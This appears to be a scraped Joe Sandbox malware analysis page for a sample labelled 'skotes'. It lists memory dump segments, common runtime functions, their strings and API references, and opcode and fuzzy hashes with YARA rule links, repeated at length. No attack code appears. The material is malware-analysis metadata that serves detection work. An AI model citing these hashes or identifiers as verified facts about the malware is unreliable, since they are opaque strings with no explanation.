Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayHashList$AsyncConcurrency::details::Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLibraryLoadRegisterTimerstd::bad_exception::bad_exception
String ID:
API String ID: 3010677857-0
Opcode ID: 1465aa0403086db506eaee3b3e051e5a36d1053bac6e293097597ed4612666a5
Instruction ID: 8b9ead36f6222fdb0c30d6b839d403118b2092f97a56760b0462ac6e254bfc23
Opcode Fuzzy Hash: 1465aa0403086db506eaee3b3e051e5a36d1053bac6e293097597ed4612666a5
Instruction Fuzzy Hash: 7A817FB4A11A12FBD708DF748445BD9FAA8BF09705F10431AF828D7281CBB4A6A4DBD5

Function 00C4EE5F Relevance: 9.1, APIs: 6, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 00C4EEBC
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 00C4EEC8
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 00C4EEE1
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00C4EF0F
Concurrency::Context::Block.LIBCONCRT ref: 00C4EF31

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID:
API String ID: 1182035702-0
Opcode ID: 51b4f227ea189bfa28092015bd12d332f57090f4a725abf3d511d63e6c79c7cf
Instruction ID: a6d4733012bac544d4104c279deb4ad5bcc11a3546a0e3950e839aaf89d55e3e
Opcode Fuzzy Hash: 51b4f227ea189bfa28092015bd12d332f57090f4a725abf3d511d63e6c79c7cf
Instruction Fuzzy Hash: CE217F70C142098AEF24EFA4C8456EEBBF0BF14320F61092EE061A61D1EBB15A89DB54

Function 00C61B29 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 00C61B57
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00C61B66
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00C61C2A

Strings

pContext, xrefs: 00C61C22
switchState, xrefs: 00C61B5E

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$Concurrency::details::FreeIdleProcessorResetRoot::Virtual
String ID: pContext$switchState
API String ID: 2656283622-2660820399
Opcode ID: d77ce851e4442a1b60b55d13f88281496f7161d539aced5816baac8a37a7cf17
Instruction ID: ae98e98aef6b9bffc719bd16f702e363a723871dbbc4782e6562c608d5d65817
Opcode Fuzzy Hash: d77ce851e4442a1b60b55d13f88281496f7161d539aced5816baac8a37a7cf17
Instruction Fuzzy Hash: 3B31D675A00204ABCF24EF64C8C5AADB3B5FF84325F2C4565ED2197292EB70EE05DB90

Function 00C6727C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 00C672BE

Strings

.exe, xrefs: 00C672CB
.bat, xrefs: 00C672ED
.com, xrefs: 00C672FE
.cmd, xrefs: 00C672DC

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: cd2dd94e858efd6addc1b0e686b1de3d76253144755afff406217edd422451ae
Instruction ID: 5629a95b025ef1be40f89e63063eca8e4877b32a9d4fddf1b031eaf213796517
Opcode Fuzzy Hash: cd2dd94e858efd6addc1b0e686b1de3d76253144755afff406217edd422451ae
Instruction Fuzzy Hash: 3F014E37718A1235663460199D8277623888BC2BBC716053AFC64F73C1EF44DE8231E8

Function 00C4FA71 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00C4FB06

Strings

GetCurrentProcessorNumberEx, xrefs: 00C4FABE
GetThreadGroupAffinity, xrefs: 00C4FA93
SetThreadGroupAffinity, xrefs: 00C4FA87
kernel32.dll, xrefs: 00C4FA7A

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
